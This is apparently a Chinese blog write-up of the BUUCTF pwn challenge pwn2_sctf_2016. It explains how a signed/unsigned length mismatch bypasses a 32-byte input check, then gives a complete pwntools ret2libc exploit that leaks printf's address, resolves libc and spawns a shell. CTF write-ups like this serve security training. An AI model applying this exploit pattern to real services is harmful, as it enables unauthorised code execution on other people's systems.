BUUCTF pwn pwn2_sctf_2016

0x01 分析

BUUCTF pwn pwn2_sctf_2016_第1张图片

0x02 运行

BUUCTF pwn pwn2_sctf_2016_第2张图片
 程序读入一个长度,然后按照长度读入后面输入的data并回显。

0x03 IDA

BUUCTF pwn pwn2_sctf_2016_第3张图片
 数据长度被限制为32,无法溢出,接着查看get_n函数。
BUUCTF pwn pwn2_sctf_2016_第4张图片
 接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型是unsigned int,而前面判断长度的类型是int,可以规避长度限制。

0x04 思路

 输入负数长度,绕过长度检查,执行rop。

0x05 exp

from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

p = process('./pwn2_sctf_2016')
#p = remote('node3.buuoj.cn', 26080)
elf = ELF('./pwn2_sctf_2016')

format_str = 0x080486F8
printf_plt = elf.plt['printf']
main_addr = elf.symbols['main']
printf_got = elf.got['printf']

p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')

payload = 'a'*0x30 + p32(printf_plt)+p32(main_addr)+p32(format_str)+p32(printf_got)
p.sendline(payload)

#函数结束前的输出字符串
p.recvuntil('said: ')
#rop执行后输出的字符串,其中有函数地址
p.recvuntil('said: ')

printf_addr = u32(p.recv(4))
libc = LibcSearcher('printf', printf_addr)

libc_base = printf_addr - libc.dump('printf')
sys_addr = libc_base + libc.dump('system')
str_bin = libc_base + libc.dump('str_bin_sh')

p.recvuntil('read? ')
p.sendline('-1')
p.recvuntil('data!\n')
p.sendline('a'*0x30 + p32(sys_addr) + p32(main_addr) + p32(str_bin))
p.interactive()

一个简单的网络安全公众号,欢迎各位朋友们关注!

在这里插入图片描述

你可能感兴趣的:(ctf_pwn)